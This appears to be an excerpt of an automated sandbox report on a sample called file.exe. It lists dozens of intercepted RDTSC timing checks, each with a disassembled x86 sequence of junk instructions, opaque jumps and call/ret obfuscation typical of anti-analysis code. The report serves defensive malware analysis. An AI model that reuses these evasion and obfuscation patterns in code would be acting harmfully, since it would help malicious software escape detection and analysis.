Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71588 second address: C715A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C712E9 second address: C712ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72021 second address: C72027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72027 second address: C720E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE764CFA4E0h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e jo 00007FE764CFA4D6h 0x00000014 pop edi 0x00000015 jne 00007FE764CFA4D8h 0x0000001b popad 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FE764CFA4D8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 jne 00007FE764CFA4F0h 0x0000003d jmp 00007FE764CFA4E2h 0x00000042 push ebx 0x00000043 movsx esi, cx 0x00000046 pop esi 0x00000047 push 00000000h 0x00000049 call 00007FE764CFA4E6h 0x0000004e mov di, 2F3Ch 0x00000052 pop edi 0x00000053 push 00000000h 0x00000055 add dword ptr [ebp+12454EA4h], edi 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e jmp 00007FE764CFA4E1h 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72A3D second address: C72A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72A44 second address: C72A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE764CFA4D8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov esi, dword ptr [ebp+122D1EADh] 0x0000002c push 00000000h 0x0000002e mov esi, dword ptr [ebp+122D1F92h] 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jnl 00007FE764CFA4D6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C735F0 second address: C735F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C732F8 second address: C732FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7831D second address: C7832E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE764FBC4B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7832E second address: C783B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FE764CFA4D8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 jno 00007FE764CFA4DCh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FE764CFA4D8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 xchg eax, esi 0x0000004a jmp 00007FE764CFA4E1h 0x0000004f push eax 0x00000050 push edi 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FE764CFA4E0h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C793CB second address: C79430 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movzx ebx, cx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FE764FBC4B8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov bh, 82h 0x0000002b push 00000000h 0x0000002d pushad 0x0000002e mov eax, 30E9D801h 0x00000033 mov cx, si 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jmp 00007FE764FBC4BAh 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79430 second address: C79435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78608 second address: C7860F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A36F second address: C7A374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A374 second address: C7A379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7961C second address: C79620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79620 second address: C7962A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE764FBC4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A379 second address: C7A38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE764CFA4D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7962A second address: C79630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79630 second address: C79634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79634 second address: C79641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79641 second address: C79650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007FE764CFA4DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B3E5 second address: C7B3EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B540 second address: C7B545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B545 second address: C7B54B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B54B second address: C7B605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sub dword ptr [ebp+122D1D2Fh], ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr [ebp+122D1C74h], edx 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007FE764CFA4D8h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov eax, dword ptr [ebp+122D0269h] 0x00000043 and bh, FFFFFFFDh 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007FE764CFA4D8h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 0000001Ch 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 adc ebx, 141E7D5Fh 0x00000068 nop 0x00000069 jbe 00007FE764CFA4EEh 0x0000006f jmp 00007FE764CFA4E8h 0x00000074 push eax 0x00000075 pushad 0x00000076 jnc 00007FE764CFA4EDh 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C54E second address: C7C558 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE764FBC4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D19E second address: C7D1A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE764CFA4D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D1A9 second address: C7D218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FE764FBC4B8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FE764FBC4B8h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 sbb edi, 08B563B8h 0x00000046 adc di, AB31h 0x0000004b push 00000000h 0x0000004d jp 00007FE764FBC4B9h 0x00000053 movzx ebx, dx 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D218 second address: C7D21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C821B9 second address: C821C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C821C1 second address: C821C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B1C1 second address: C2B1F1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE764FBC4B6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FE764FBC4BDh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop ecx 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE764FBC4BFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B1F1 second address: C2B216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE764CFA4DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE764CFA4DDh 0x00000012 je 00007FE764CFA4D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B216 second address: C2B21A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F230 second address: C7F248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4DDh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8033D second address: C80342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C80342 second address: C80348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F248 second address: C7F2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE764FBC4B6h 0x0000000a popad 0x0000000b pop esi 0x0000000c nop 0x0000000d jmp 00007FE764FBC4C3h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+122D32D8h], edi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FE764FBC4B8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov ebx, dword ptr [ebp+122D2735h] 0x00000046 sub edi, dword ptr [ebp+122D208Bh] 0x0000004c mov eax, dword ptr [ebp+122D1155h] 0x00000052 mov dword ptr [ebp+1244D548h], ebx 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push edx 0x0000005d call 00007FE764FBC4B8h 0x00000062 pop edx 0x00000063 mov dword ptr [esp+04h], edx 0x00000067 add dword ptr [esp+04h], 00000019h 0x0000006f inc edx 0x00000070 push edx 0x00000071 ret 0x00000072 pop edx 0x00000073 ret 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push ebx 0x00000078 push eax 0x00000079 pop eax 0x0000007a pop ebx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83837 second address: C8383B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8383B second address: C8383F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8383F second address: C83845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83845 second address: C8386A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE764FBC4BFh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE764FBC4BCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C36C0E second address: C36C2E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE764CFA4F2h 0x00000008 jmp 00007FE764CFA4E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C857DA second address: C857E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FE764FBC4B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C857E5 second address: C85807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007FE764CFA4E0h 0x0000000f pushad 0x00000010 jl 00007FE764CFA4D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C909D3 second address: C909D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94E1D second address: C94E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94E23 second address: C94E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jmp 00007FE764FBC4C6h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27CC3 second address: C27CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 ja 00007FE764CFA4D6h 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9456B second address: C94572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94572 second address: C94578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C949F5 second address: C94A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FE764FBC4BEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98F7D second address: C98F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98F81 second address: C98FE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push ebx 0x0000000c jo 00007FE764FBC4B8h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 js 00007FE764FBC4BAh 0x0000001f push ebx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ebx 0x00000023 mov eax, dword ptr [eax] 0x00000025 jmp 00007FE764FBC4C7h 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 jbe 00007FE764FBC4B6h 0x00000038 popad 0x00000039 jng 00007FE764FBC4BCh 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E58A second address: C9E593 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E593 second address: C9E59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE764FBC4B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E6E9 second address: C9E6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E991 second address: C9E9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jg 00007FE764FBC4B6h 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E9A0 second address: C9E9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EB3E second address: C9EB5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764FBC4C6h 0x00000009 jno 00007FE764FBC4B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EB5E second address: C9EB70 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE764CFA4D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ECF1 second address: C9ED29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FE764FBC4B6h 0x0000000f jmp 00007FE764FBC4C7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EE58 second address: C9EE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE764CFA4D6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F13F second address: C9F147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F147 second address: C9F151 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE764CFA4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA332E second address: CA3338 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE764FBC4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35135 second address: C35153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE764CFA4DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35153 second address: C35168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a jnc 00007FE764FBC4B8h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7A90 second address: CA7A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7A96 second address: CA7AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jne 00007FE764FBC4B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7AA5 second address: CA7ACC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE764CFA4D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FE764CFA4E8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7ACC second address: CA7AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75195 second address: C55CFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE764CFA4DEh 0x0000000f nop 0x00000010 or dword ptr [ebp+122D2783h], ebx 0x00000016 lea eax, dword ptr [ebp+12487F13h] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FE764CFA4D8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D1C7Eh], edi 0x0000003c nop 0x0000003d push edx 0x0000003e pushad 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 jns 00007FE764CFA4D6h 0x00000047 popad 0x00000048 pop edx 0x00000049 push eax 0x0000004a jg 00007FE764CFA4E4h 0x00000050 nop 0x00000051 mov ecx, 2776C41Fh 0x00000056 call dword ptr [ebp+122D2847h] 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push ecx 0x00000060 pop ecx 0x00000061 ja 00007FE764CFA4D6h 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
